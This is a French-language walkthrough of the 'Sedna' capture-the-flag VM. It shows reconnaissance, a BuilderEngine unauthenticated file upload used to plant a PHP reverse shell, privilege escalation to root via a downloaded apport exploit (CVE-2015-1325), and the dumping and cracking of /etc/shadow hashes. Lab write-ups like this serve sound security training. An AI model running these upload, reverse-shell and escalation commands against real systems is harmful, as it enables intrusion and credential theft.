**Sedna - Write Up** __Reconnaissance__ nmap -sS -A 192.168.43.43 ports ouverts : 22 ssh 53 dns : ISC BIND 9.9.5-3-Ubuntu 80 http : apache 2.4.7 110 pop3 111 rpcbind 139 netbios smbd 3.x workgroup SEDNA 143 imap Dovecot impad 445 netbios smbd 3.x workgroup SEDNA 993 imap Dovecot impad 995 pop3 ssl 8080 : Apache Tomcat/Coyote JSP engine 1.1 Après quelques essais on remarque : - Tomcat n'utilise pas d'identifiants simple à deviner - Il n'y a pas d'exploit pour rpcbind et bind 9 __Exploitation Web__ Pour le port 80 : {{ :vm:sedna.png?nolink&200 |}} Avec l'outil [[https://sourceforge.net/projects/dirb/files/ | dirb]] on va chercher les fichiers existants : ./dirb http://192.168.43.43/ wordlists/common.txt ---- Scanning URL: http://192.168.43.43/ ---- ==> DIRECTORY: http://192.168.43.43/blocks/ ==> DIRECTORY: http://192.168.43.43/files/ + http://192.168.43.43/index.html (CODE:200|SIZE:101) ==> DIRECTORY: http://192.168.43.43/modules/ + http://192.168.43.43/robots.txt (CODE:200|SIZE:36) + http://192.168.43.43/server-status (CODE:403|SIZE:293) ==> DIRECTORY: http://192.168.43.43/system/ ==> DIRECTORY: http://192.168.43.43/themes/ ---- Entering directory: http://192.168.43.43/blocks/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.43.43/files/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.43.43/modules/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.43.43/system/ ---- ==> DIRECTORY: http://192.168.43.43/system/core/ ==> DIRECTORY: http://192.168.43.43/system/database/ ==> DIRECTORY: http://192.168.43.43/system/fonts/ ==> DIRECTORY: http://192.168.43.43/system/helpers/ + http://192.168.43.43/system/index.html (CODE:200|SIZE:142) ==> DIRECTORY: http://192.168.43.43/system/language/ ==> DIRECTORY: http://192.168.43.43/system/libraries/ ---- Entering directory: http://192.168.43.43/themes/ ---- Dirb nous ressort tout un tas de dossier à aller visiter. Dans le dossier "themes" on trouve un dashboard. En regardant le code source du dashboard on voit : ... BuilderEngine Admin Dashboard | Login Page ... BuilderEngine est le nom d'un CMS On cherche si un exploit existe avec [[https://github.com/offensive-security/exploit-database | searchsploit]] ./searchsploit builderengine -------------------------------------------- ----------------------------------- Exploit Title | Path | (/opt/exploit-database/platforms) -------------------------------------------- ----------------------------------- BuilderEngine 3.5.0 - Arbitrary File Upload | /php/webapps/40390.php -------------------------------------------- ----------------------------------- La faille est la suivante : 1) Unauthenticated Unrestricted File Upload: POST /themes/dashboard/assets/plugins/jquery-file-upload/server/php/ Vulnerable Parameter: files[] We can upload test.php and reach the file via the following link: /files/test.php L'url vulnérable est la suivante : http://192.168.43.43/themes/dashboard/assets/plugins/jquery-file-upload/server/php/ J'ouvre un netcat en écoute sur mon poste sur le port 1234 : nc -lvp 1234 J'upload un reverse shell php [[http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz| pentestmonkey]] curl -i -X POST -H "Content-Type: multipart/form-data" -F "files=@php-reverse-shell.php" http://192.168.43.43/themes/dashboard/assets/plugins/jquery-file-upload/server/php/ Mon fichier une fois uploadé est situé : http://192.168.43.168/files/php-reverse-shell.php Dès l'ouverture de la session on ouvre un pty : python -c 'import pty;pty.spawn("/bin/bash")' {{ :vm:nc.png?nolink |}} __Exploitation du système & Élévation de privilèges__ On va chercher la version du kernel : uname -a Linux Sedna 3.13.0-32-generic Ubuntu On va chercher la version de la distribution : www-data@Sedna:/$ lsb_release -a lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: 14.04 Codename: trusty On oublie pas de récupérer le premier flag : www-data@Sedna:/var/www$ cat flag.txt cat flag.txt bfbb7e6e6e88d9ae66848b9aeac6b289 Maintenant il faut élever ces privilèges : L'exploit que nous allons utiliser : [[https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/37088.c]] Il est basé sur la CVE-2015-1325 et à été testé sur la version 14.04 d'Ubuntu. On récupère l'exploit sur la machine (j'ai choisi le dossier /var/www/html car il est accessible en écriture). wget https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/37088.c On le compile : gcc 37088.c -o exploit2 On l'utilise : www-data@Sedna:/var/www/html$ ./exploit2 ./exploit2 created /var/crash/_bin_sleep.33.crash crasher: my pid is 3848 apport stopped, pid = 3849 getting pid 3848 current pid = 3847..5000..7500..10000..12500..15000..17500..20000..22500..25000..27500..30000..32500..2500.. ** child: current pid = 3848 ** child: executing /bin/su sleeping 2s.. checker: mode 4534 waiting for file to be unlinked..writing to fifo fifo written.. wait... waiting for /etc/sudoers.d/core to appear.. checker: new mode 32768 .. done checker: SIGCONT checker: writing core checker: done success # id id uid=0(root) gid=0(root) groups=0(root) Nous sommes dès à présent root du système. On affiche le deuxième flag : cat /root/flag.txt a10828bee17db751de4b936614558305 __Pour aller plus loin__ On va chercher les identifiants du tomcat : cat /etc/tomcat7/tomcat-users.xml On récupère les /etc/shadow et /etc/passwd root:$6$sZyJlUny$OcHP9bd8dO9rAKAlryxUjnUbH0dxgZc2uCePZMUUKSeIdALUulXLQ1iDjoEQpvZI.HTHOHUkCR.m39Xrt3mm91:17097:0:99999:7::: crackmeforpoints:$6$p22wX4fD$RRAamkeGIA56pj4MpM7CbrKPhShVkZnNH2NjZ8JMUP6Y/1upG.54kSph/HSP1LFcn4.2C11cF0R7QmojBqNy5/:17104:0:99999:7::: root:x:0:0:root:/root:/bin/bash crackmeforpoints:x:1000:1000::/home/crackmeforpoints: Utilisation de l'outil unshadow de la suite John The Ripper : ./unshadow passwd shadow > hash_a_crack Tentative de casser les hash avec john : ./john hash_a_crack Les mots de passes n'ont pas été trouvés dans un délais 20 minutes de crack. L'exploitation de la machine c'est finit à ce niveau là. Merci à l'auteur de la machine.